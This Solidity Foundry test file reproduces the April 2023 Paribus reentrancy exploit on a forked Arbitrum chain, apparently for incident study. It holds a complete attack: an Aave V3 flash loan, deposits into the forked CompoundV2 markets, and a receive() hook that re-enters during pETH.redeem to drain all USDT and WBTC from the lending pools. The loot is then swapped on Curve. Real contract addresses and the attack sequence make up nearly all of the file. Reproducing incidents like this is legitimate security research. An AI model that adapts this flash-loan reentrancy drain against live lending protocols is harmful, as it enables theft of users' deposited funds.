src/test/2023-04/Paribus_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/Phalcon_xyz/status/1645742620897955842
9// https://twitter.com/BlockSecTeam/status/1645744655357575170
10// https://twitter.com/peckshield/status/1645742296904929280
11// @TX
12// https://arbiscan.io/tx/0x0e29dcf4e9b211a811caf00fc8294024867bffe4ab2819cc1625d2e9d62390af
13// @Summary
14// a known reentrancy issue from the forked old version of CompoundV2
15 
16interface CurvePool {
17    function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external;
18}
19 
20contract ContractTest is Test {
21    IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
22    IWFTM WETH = IWFTM(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));
23    IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
24    ICErc20Delegate pUSDT = ICErc20Delegate(0xD3e323a672F6568390f29f083259debB44C41f41);
25    ICErc20Delegate pWBTC = ICErc20Delegate(0x367351F854506DA9B230CbB5E47332b8E58A1863);
26    ICErc20Delegate pETH = ICErc20Delegate(0x375Ae76F0450293e50876D0e5bDC3022CAb23198);
27    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
28    IUnitroller unitroller = IUnitroller(0x2130C88fd0891EA79430Fb490598a5d06bF2A545);
29    CurvePool curvePool = CurvePool(0x960ea3e3C7FB317332d990873d354E18d7645590);
30    Exploiter exploiter;
31    uint256 nonce;
32 
33    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 
35    function setUp() public {
36        cheats.createSelectFork("arbitrum", 79_308_097);
37        cheats.label(address(WBTC), "WBTC");
38        cheats.label(address(USDT), "USDT");
39        cheats.label(address(WETH), "WETH");
40        cheats.label(address(pUSDT), "pUSDT");
41        cheats.label(address(pETH), "pETH");
42        cheats.label(address(pWBTC), "pWBTC");
43        cheats.label(address(aaveV3), "aaveV3");
44        cheats.label(address(curvePool), "curvePool");
45    }
46 
47    function testExploit() external {
48        payable(address(0)).transfer(address(this).balance);
49        address[] memory assets = new address[](2);
50        assets[0] = address(WETH);
51        assets[1] = address(USDT);
52        uint256[] memory amounts = new uint256[](2);
53        amounts[0] = 200 * 1e18;
54        amounts[1] = 30_000 * 1e6;
55        uint256[] memory modes = new uint256[](2);
56        modes[0] = 0;
57        modes[1] = 0;
58        aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
59        exchangeUSDTWBTC();
60 
61        emit log_named_decimal_uint(
62            "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
63        );
64    }
65 
66    function executeOperation(
67        address[] calldata assets,
68        uint256[] calldata amounts,
69        uint256[] calldata premiums,
70        address initiator,
71        bytes calldata params
72    ) external payable returns (bool) {
73        USDT.approve(address(aaveV3), type(uint256).max);
74        WETH.approve(address(aaveV3), type(uint256).max);
75        USDT.approve(address(pUSDT), type(uint256).max);
76        WBTC.approve(address(pWBTC), type(uint256).max);
77 
78        exploiter = new Exploiter();
79        WETH.transfer(address(exploiter), 100 * 1e18);
80        cheats.label(address(exploiter), "exploiter");
81        exploiter.mint();
82 
83        WETH.withdraw(WETH.balanceOf(address(this)));
84        payable(address(pETH)).call{value: address(this).balance}("");
85        pUSDT.mint(USDT.balanceOf(address(this)));
86        address[] memory cTokens = new address[](2);
87        cTokens[0] = address(pETH);
88        cTokens[1] = address(pUSDT);
89        unitroller.enterMarkets(cTokens);
90        pETH.borrow(13_075_471_156_463_824_220);
91        pETH.redeem(pETH.balanceOf(address(this))); // Reentrancy enter point
92 
93        exploiter.redeem();
94        payable(address(WETH)).call{value: address(this).balance}("");
95        return true;
96    }
97 
98    receive() external payable {
99        if (nonce == 2) {
100            pUSDT.borrow(USDT.balanceOf(address(pUSDT)));
101            pWBTC.borrow(WBTC.balanceOf(address(pWBTC)));
102        }
103        nonce++;
104    }
105 
106    function exchangeUSDTWBTC() internal {
107        USDT.approve(address(curvePool), type(uint256).max);
108        WBTC.approve(address(curvePool), type(uint256).max);
109        curvePool.exchange(0, 2, USDT.balanceOf(address(this)), 0);
110        curvePool.exchange(1, 2, WBTC.balanceOf(address(this)), 0);
111    }
112}
113 
114contract Exploiter is Test {
115    IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
116    ICErc20Delegate pETH = ICErc20Delegate(0x375Ae76F0450293e50876D0e5bDC3022CAb23198);
117 
118    function mint() external payable {
119        WETH.withdraw(WETH.balanceOf(address(this)));
120        payable(address(pETH)).call{value: address(this).balance}("");
121    }
122 
123    function redeem() external payable {
124        pETH.redeem(pETH.balanceOf(address(this)));
125        payable(address(WETH)).call{value: address(this).balance}("");
126        WETH.transfer(msg.sender, WETH.balanceOf(address(this)));
127    }
128 
129    receive() external payable {}
130}